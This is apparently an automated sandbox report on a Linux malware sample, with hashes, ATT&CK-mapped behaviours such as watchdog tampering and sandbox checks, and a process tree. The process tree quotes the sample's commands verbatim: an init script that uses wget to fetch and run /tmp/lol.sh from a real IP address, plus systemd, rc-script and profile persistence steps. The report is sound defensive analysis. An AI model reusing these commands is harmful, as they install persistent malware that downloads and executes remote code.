35cd367a1fb9c6d29e748b51e42ed8ceee321a1f874aafacc4af3e663049234f

General

Target

e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911
Size

100KB
MD5

e2adaf039ccb25c18bed0380f39a44ae
SHA1

b40bc45b95bbdf554ed54297ef622346ab78ecec
SHA256

e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911
SHA512

481e88ba4f2a818e2afb1a0f028cd7bc9762e6dab5e18e59498796a6737523f4be328154cca6f03a80ea65347f5d21f42ba561f50a1a183d96e52418403e94c4
SSDEEP

3072:JTtjITLKA+S9iQWNZmgn1DHX1DjFjHtvwllBWs:JTdITLKvln1DJjdHFQlf

Score

7^/10

antivm defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

shchmodshchmodsh

pid process

2648 sh
2649 chmod
2641 sh
2642 chmod
2647 sh

pid	process
2648	sh
2649	chmod
2641	sh
2642	chmod
2647	sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

Processes:

e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

description	ioc	process
File opened for modification	/dev/watchdog	e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911
File opened for modification	/dev/misc/watchdog	e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

Checks mountinfo of local process 1 TTPs 1 IoCs
Checks mountinfo of running processes which indicate if it is running in chroot jail.
antivm

System Checks
T1497.001

Processes:

e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

description ioc process

File opened for reading /proc/2655/mountinfo e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911
Creates/modifies environment variables 1 TTPs 1 IoCs
Creating/modifying environment variables is a common persistence mechanism.
persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable
T1574.007

Processes:

e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

description ioc process

File opened for modification /etc/profile e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

description	ioc	process
File opened for reading	/proc/2655/mountinfo	e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

description	ioc	process
File opened for modification	/etc/profile	e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

Modifies init.d 2 TTPs 2 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

Processes:

e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911sh

description	ioc	process
File opened for modification	/etc/init.d/system	e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911
File opened for modification	/etc/init.d/sh	sh

Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
persistence

Boot or Logon Autostart Execution
T1547

RC Scripts
T1037.004

Processes:

e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

description ioc process

File opened for modification /etc/rc.local e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911
Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
persistence privilege_escalation

XDG Autostart Entries
T1547.013

Systemd Service
T1543.002

Processes:

e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

description ioc process

File opened for modification /etc/systemd/system/custom.service e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911
Modifies Bash startup script 2 TTPs 1 IoCs
persistence

Boot or Logon Autostart Execution
T1547

Unix Shell Configuration Modification
T1546.004

Processes:

e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

description ioc process

File opened for modification /etc/profile e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

description	ioc	process
File opened for modification	/etc/rc.local	e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

description	ioc	process
File opened for modification	/etc/systemd/system/custom.service	e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

description	ioc	process
File opened for modification	/etc/profile	e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

Changes its process name 1 IoCs

Processes:

e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

description	pid	process
Changes the process name, possibly in an attempt to hide itself	2499	e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911systemctlmkdir

description	ioc	process
File opened for reading	/proc/self/status	e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911
File opened for reading	/proc/1/cgroup	e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	mkdir

/tmp/e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911
/tmp/e4c012d14546fb6fa83fdd580a58eaf10e69547189a3b6efecb6ea0ce9dd3911
1⤵
- Modifies Watchdog functionality
- Checks mountinfo of local process
- Creates/modifies environment variables
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Modifies Bash startup script
- Changes its process name
- Reads runtime system information
PID:2499
- /bin/sh
  sh -c "systemctl enable custom.service >/dev/null 2>&1"
  2⤵
  PID:2502
- - /usr/bin/systemctl
    systemctl enable custom.service
    3⤵
    - Reads runtime system information
    PID:2503
- /bin/sh
  sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
  2⤵
  - File and Directory Permissions Modification
  PID:2641
- - /usr/bin/chmod
    chmod +x /etc/init.d/system
    3⤵
    - File and Directory Permissions Modification
    PID:2642
- /bin/sh
  sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
  2⤵
  PID:2643
- - /usr/bin/ln
    ln -s /etc/init.d/system /etc/rcS.d/S99system
    3⤵
    PID:2646
- /bin/sh
  sh -c "echo \"#!/bin/sh # /etc/init.d/sh case \\\"\$1\\\" in start) echo 'Starting sh' /bin/sh & wget http://193.143.1.70/ -O /tmp/lol.sh chmod +x /tmp/lol.sh /tmp/lol.sh & ;; stop) echo 'Stopping sh' killall sh ;; restart) \$0 stop \$0 start ;; *) echo \\\"Usage: \$0 {start|stop|restart}\\\" exit 1 ;; esac exit 0\" > /etc/init.d/sh"
  2⤵
  - File and Directory Permissions Modification
  - Modifies init.d
  PID:2647
- /bin/sh
  sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"
  2⤵
  - File and Directory Permissions Modification
  PID:2648
- - /usr/bin/chmod
    chmod +x /etc/init.d/sh
    3⤵
    - File and Directory Permissions Modification
    PID:2649
- /bin/sh
  sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
  2⤵
  PID:2650
- - /usr/bin/mkdir
    mkdir -p /etc/rc.d
    3⤵
    - Reads runtime system information
    PID:2651
- /bin/sh
  sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"
  2⤵
  PID:2652
- - /usr/bin/ln
    ln -s /etc/init.d/sh /etc/rc.d/S99sh
    3⤵
    PID:2653

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

4

T1547

XDG Autostart Entries

1

T1547.013

Boot or Logon Initialization Scripts

2

T1037

RC Scripts

2

T1037.004

Create or Modify System Process

1

T1543

Systemd Service

1

T1543.002

Event Triggered Execution

1

T1546

Unix Shell Configuration Modification

1

T1546.004

Hijack Execution Flow

1

T1574

Path Interception by PATH Environment Variable

1

T1574.007

Privilege Escalation

Boot or Logon Autostart Execution

4

T1547

XDG Autostart Entries

1

T1547.013

Boot or Logon Initialization Scripts

2

T1037

RC Scripts

2

T1037.004

Create or Modify System Process

1

T1543

Systemd Service

1

T1543.002

Event Triggered Execution

1

T1546

Unix Shell Configuration Modification

1

T1546.004

Hijack Execution Flow

1

T1574

Path Interception by PATH Environment Variable

1

T1574.007

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Hijack Execution Flow

1

T1574

Path Interception by PATH Environment Variable

Impair Defenses

Virtualization/Sandbox Evasion

1

T1497

System Checks

1

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

1

T1497

System Checks

1

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/boot/bootcmd

Filesize
109B

MD5
735cae7d3cbab0f59d95f84790282103

SHA1
1cb77931b3097f18988016c9ceba3280a5ccb2ae

SHA256
dfdd4cf729384e4ed52516ab72bd86be286c80f53d4f5b764fd2dd2a2b2c983b

SHA512
998daa467c4ee63dd41515897728de70cbb9c579ca8b16c26d8e6db5edad53c6dbd6343fb10eda3dbc29b0cb1fa72a9b2653250e9027e6ee02d17726e958bbfe

Download Submit
/etc/init.d/sh

Filesize
353B

MD5
c5583b6a699f62cb0a004c99842f5c70

SHA1
b232ef89bf9b36643b5956aaacfd295b9ce2a0a7

SHA256
2b03c83558e4af71f3b35408cf668a2ee06931c21adec760952a21a11bc4c59b

SHA512
a9fc1e4c30452a3d100a8ccfbb707d9d323830fbbca90c98d3c126bf943539baaf1fccb04d435a4b627ed7f1bfb1bbd649dab282488d951dde87e097423e154d

Download Submit
/etc/init.d/system

Filesize
96B

MD5
f000251d92c773cc3ee1ca22cf5f0788

SHA1
e2386fe6a5f29b1e9e5ad5b38928c024f97105e6

SHA256
31a77745dd3724a0691a9255738b9c87516868932e3eb992e2afafcd0574a985

SHA512
0dad5adaa7742dd208596fefad53ab21c39fbf2cbe5c9958b92170d555d316f0a0b02ec5236311b869aa18e90592e81439a3a229bf1307b5daf87d87c5f493c2

Download Submit
/etc/inittab

Filesize
101B

MD5
3d6b6e1b05ad5d0538ccd8804bcd279b

SHA1
0fc061b51c225d5bea072c939de05e8a856558bc

SHA256
cab2df9c1c498df29445837610f14ae08d4af98d3acac69b0581c01fe594e3c5

SHA512
1957857cffbc0d526eb04e40db166d661b9dc59fc31fb5551f31cd58d270f839ffa2098e81c8555b12e9dbd55ba17df662b14c6441a6389eb9a76082fa401c98

Download Submit
/etc/motd

Filesize
53B

MD5
2bd9b4be30579e633fc0191aa93df486

SHA1
7d63a9bd9662e86666b27c1b50db8e7370c624ff

SHA256
64dc39f3004dc93c9fc4f1467b4807f2d8e3eb0bfa96b15c19cd8e7d6fa77a1d

SHA512
ae6dd7b39191354cf43cf65e517460d7d4c61b8f5c08e33e6ca3c451dc7cab4de89f33934c89396b80f1aade0a4e2571bd5ae8b76ef80b737d4588703d2814d5

Download Submit
/etc/systemd/system/custom.service

Filesize
290B

MD5
19a440fdac7f578f2fb33719698a082c

SHA1
ebadce21c65d05ad62a324deb39c57aecd3edf2c

SHA256
b176d41b748466f8ba35246c78a1c940f65403b363c086ccd5b5de577a87cf69

SHA512
8bdfac90e7235fc35eeec141a1e2145ed4ea5a250b71bdf0cf0e5e5aa59ab6dc004dc08561bd5547c4a4a106138c98950dc2098c905ce785b9b2c0657684d7bb

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads